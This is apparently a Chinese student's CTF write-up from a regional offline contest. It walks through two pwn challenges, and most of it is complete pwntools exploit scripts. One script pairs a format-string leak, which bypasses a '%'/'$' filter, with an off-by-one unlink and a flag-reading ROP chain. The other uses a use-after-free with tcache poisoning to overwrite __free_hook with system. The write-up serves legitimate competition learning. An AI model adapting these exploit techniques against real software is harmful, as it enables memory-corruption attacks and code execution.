华南赛区区域赛
文章目录
碎碎念
先说比赛吧,全是热点,懂得都懂。
差一点进决赛吧,当时是前68名,我们队被罚时了,分数一样,还是没进,让我一个pwner去打逆向和密码了,哭死...
然后当时题目我没看全robo_admin居然是道pwn题,还是学长告诉我的...很糟糕了,主要漏洞点也很ez,格式化字符串漏洞+off-by-one...赛场上我可能解不出来但fix还是很ez的,挺遗憾的吧,我的第一场线下比赛,嗯其实这次也不是我们校队的一起去的,下一年就是我们一起了,没事没事明年再来...一定会拿国一的。
打完比赛还是玩了一个晚上第二天不用匆匆忙忙赶回去上课还是挺舒服的,哈哈哈哈哈。
但是第二天是他们23级awdp的校赛,在火车上没网啊啊啊,回去后比赛已经结束了,下了个附件,打了一下本地,还挺有意思的一道堆题,uaf漏洞。如下就是。
期待下一次线下吧qwq!
robo_admin
保护:

依旧全开。
然后就是逆向部分:

挨个大概看一下发现sub_2500()就是要我们打堆,我们要进入他,就要使dword_52C8为1。
即sub_22D9()返回值为1。

即s1='ROBOADMIN',buf==s。其中 sub_1447(rdi, rsi);表示向第一个参数读入第二个参数大小的data,最后以\0结尾,把出现的\n换成\0。


我们就要去找两个全局变量的值。

跟进2:

很明显的格式化字符串漏洞还会把pass1和pass2打印给我们。条件dword_52C01,dword_52C40。
跟进1:

需要进入最后一个else。
第一个if:

检查有没有'%'和'$',格式化字符串漏洞。
第二个else if中函数:


这个东西太难分析了,直接叫上re手子一起分析...
初始化变量:
v9 = 0: 用于跟踪字节数组 src 中的位置(即当前已写入的字节数)。
遍历字符串:
该函数遍历字符串 s,每次检查一个字符。
如果遇到一个反斜杠 \ 和紧随其后的字符 'x',则认为这是一个十六进制数字的开始。它将后面的两个字符解释为十六进制数字并合并成一个字节,存储在 src 中。
如果没有遇到 \x,则直接将字符复制到 src 中。
十六进制字符转换:
对于每对十六进制字符(如 \x1F),使用 sub_14D5 函数将它们转换为对应的数字。
检查缓冲区溢出:
每次存储一个字节后,v9 会自增。如果 v9 超过 n256,则返回 0xFFFFFFFFLL,表示发生了溢出。
返回:
当字符串处理完毕后,在 src 数组末尾添加一个 0(即 null 终止符)。
如果没有溢出,返回 0。
如果输入字符串超过 n256 字节,函数会返回 0xFFFFFFFFLL。
如果遇到非法的十六进制字符(例如 \xG),sub_14D5 将返回 0xFFFFFFFFLL,导致函数退出并返回错误。
处理数字字符 (0-9):
如果 n47 是字符 '0' 到 '9',则将其转换为对应的整数值(例如,'0' -> 0,'9' -> 9)。
处理小写字母 (a-f):
如果 n47 是字符 'a' 到 'f',则将其转换为对应的十六进制数字(例如,'a' -> 10,'f' -> 15)。
处理大写字母 (A-F):
如果 n47 是字符 'A' 到 'F',则将其转换为对应的十六进制数字(例如,'A' -> 10,'F' -> 15)。
要格式化字符串漏洞我们就需要利用函数。我们需要实现将字节串 s 中的每个字符检查是否为 % 或 $,如果是则将其转换为相应的十六进制字节表示(例如 b"\x25" 和 b"\x24"),否则保留原字符。最终,所有处理后的字节串被拼接成一个新的字节串并返回。
python
def enc_fmt(s: bytes) -> bytes:
return b"".join((b"\\x%02x" % c) if c in b"%$" else bytes([c]) for c in s)

格式化字符串漏洞泄露libc,pie,password,rbp。
python
fmt=b'%15$p%20$p%23$p%6$p%7$p'
set(enc_fmt(fmt))
show()
ru(b'0x')
pie=int(p.recv(12),16)-0x555555556893+0x555555554000
rbp=int(p.recv(14),16)
libc_base=int(p.recv(14),16)-0x7ffff7c29d90+0x7ffff7c00000
ru(b'0x')
pass1=str(hex(int(p.recv(16),16)))[2:]
ru(b'0x')
pass2=str(hex(int(p.recv(16),16)))[2:]
print(hex(pie));print(hex(libc_base))
print(pass1+pass2)
password=(pass1+pass2).encode()
login(password)
沙箱:

openat+read+write。
然后就可以打堆了。
re一下:

off-by-one漏洞。


无uaf。
可以考虑off-by-one,unlink改ret为orw。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
file='./robo_admin'
p=process(file)
#p=remote()
e=ELF(file)
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
def cmd(idx):
ru(b'> \n')
sn(idx)
def set(notice):
cmd(1)
sl(notice)
def show():
cmd(2)
def login(password):
cmd(3)
ru(b'Token:\n')
s(b'ROBOADMIN')
ru(b'Password (32 hex):\n')
s(password)
def enc_fmt(s: bytes) -> bytes:
return b"".join((b"\\x%02x" % c) if c in b"%$" else bytes([c]) for c in s)
#fmt=b'%6$p%7$p%8$p%9$p%10$p%11$p%12$p%13$p%14$p%15$p%16$p%17$p%18$p%19$p%20$p'
fmt=b'%15$p%20$p%23$p%6$p%7$p'
set(enc_fmt(fmt))
show()
ru(b'0x')
pie=int(p.recv(12),16)-0x555555556893+0x555555554000
rbp=int(p.recv(14),16)
libc_base=int(p.recv(14),16)-0x7ffff7c29d90+0x7ffff7c00000
ru(b'0x')
pass1=str(hex(int(p.recv(16),16)))[2:]
ru(b'0x')
pass2=str(hex(int(p.recv(16),16)))[2:]
print(hex(pie));print(hex(libc_base))
print(pass1+pass2)
password=(pass1+pass2).encode()
login(password)
openat=libc_base+libc.sym.openat
sendfile=libc_base+libc.sym.sendfile
read=libc_base+libc.sym.read
write=libc_base+libc.sym.write
rcx=0x000000000003d1ee+libc_base
rdi=0x000000000002a3e5+libc_base
rsi=0x000000000002be51+libc_base
rdx_r12=0x000000000011f367+libc_base
flag=rbp
addr=e.bss(0x400)+pie
orw=b'./flag\x00\x00'+flat(rdi,0xFFFFFFFFFFFFFF9C,rsi,flag,rdx_r12,0,0,openat)
orw+=flat(rdi,3,rsi,addr,rdx_r12,0x100,0x100,read)
orw+=flat(rdi,1,write)
def add(idx,size):
cmd(1)
ru(b'Index:\n')
sn(idx)
ru(b'Task name:\n')
s(b'aaa')
ru(b'Desc size:\n')
sn(size)
def edit(idx,content):
cmd(2)
ru(b'Index:\n')
sn(idx)
ru(b'Write length :\n')
sn(len(content))
ru(b'New desc bytes:\n')
s(content)
def free(idx):
cmd(5)
ru(b'Index:\n')
sn(idx)
for i in range(7):
add(i,0x1e8)
for i in range(7):
free(i)
for i in range(4):
add(i,0xf8)
edit(2, b"C" * 0xE0 + p64(0x1F0) + p64(0x21))
edit(3, b"D" * 8 + p64(1))
chunk=0x5140+pie
Size=0x5180+pie
fd = chunk - 0x18
bk = chunk - 0x10
fake = p64(0) + p64(0xF0) + p64(fd) + p64(bk)
fake = fake.ljust(0xF0, b"A") + p64(0xF0) + b"\xf0"
edit(0, fake)
free(1)
base = chunk - 0x18
bss = bytearray(0x80)
def put(addr, value):
off = addr - base
bss[off : off + 8] = p64(value)
put(chunk+2*8,rbp)
put(Size+2*8,0x200)
edit(0,bytes(bss))
edit(2,orw)
cmd(6)
cmd(4)
p.interactive()
awdp-artist-pwn
保护全开:



正常的malloc(0x80),最多20个chunk。




先输出再free,指针置空,这里没uaf。

buf指向chunk[v1],如果chunk[v1]被free,原指针会被置空,但buf没被置空,这里就存在uaf。
glibc2.31,tcache投毒改free_hook为system。投毒的本质是能改fd指针且能泄露libc,edit中可以覆盖chunk[v1]的fd和bk。uaf能够unsorted泄露libc。
因为只能控制一个chunk的uaf,那么既要用它泄露libc又要投毒。
python
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
#p=remote()
p=process('./awdp-artist-pwn')
e=ELF('./awdp-artist-pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))
def bug():
gdb.attach(p);pause()
sl(b'zbz')
def cmd(idx):
ru(b'> \n')
sn(idx)
def add(content):
cmd(1)
ru(b'input some\n')
s(content)
def show(idx):
cmd(2)
ru(b'idx: \n')
sn(idx)
ru(b'Would you like to make final edits?\n')
sn(2)
def edit_first(idx,content):
cmd(3)
ru(b'idx: \n')
sn(idx)
ru(b'do you want crazy\n')
sl(b'no')
ru(b'Go ahead and doodle for your artistic inspiration.\n')
s(content)
def edit(content):
cmd(3)
ru(b'do you want crazy\n')
sl(b'no')
ru(b'Go ahead and doodle for your artistic inspiration.\n')
s(content)
for i in range(2):
add(b'a')#0-1
for i in range(2):
show(i)
add(b'a')#2
#bug()
show(2)
ru(b'Please enjoy your masterpiece.\n')
heap=u64(p.recv(6).ljust(8,b'\x00'))-0x5f08c0da6261+0x5f08c0da6000
print(hex(heap))
#bug()
for i in range(3,12):
add(b'a')#3-11
edit_first(9,b'a')
for i in range(3,11):
show(i)
#bug()
edit(p64(heap+0x680+0x10)+p64(0))
#bug()
add(b'a')#12
add(b'a')#13
#bug()
show(13)
ru(b'Please enjoy your masterpiece.\n')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x7ad07f7a4b61+0x7ad07f5b8000
print(hex(libc_base))
free_hook=libc_base+libc.sym.__free_hook
system=libc_base+libc.sym.system
show(12)
edit(p64(free_hook-8))
#bug()
add(b'a')#14
#bug()
add(b'/bin/sh\x00'+p64(system))
show(15)
p.interactive()
总结
其实robo_admin这题我想用house of apple2的但是很难泄露堆基址,陷入了半天,我是记得高版本libc是不可以unlink和off-by-null的,但是我unlink通了,算了就当补漏了,毕竟明年我才是主力qwq!
还有一点就是刷大型比赛的pwn题,感觉有一种趋势,pwner必须5个方向全会啊...对re要求很高,有的再给你上点web和加解密base啥的,就不是一个纯pwner能做的了,还是得5个方向都会一点。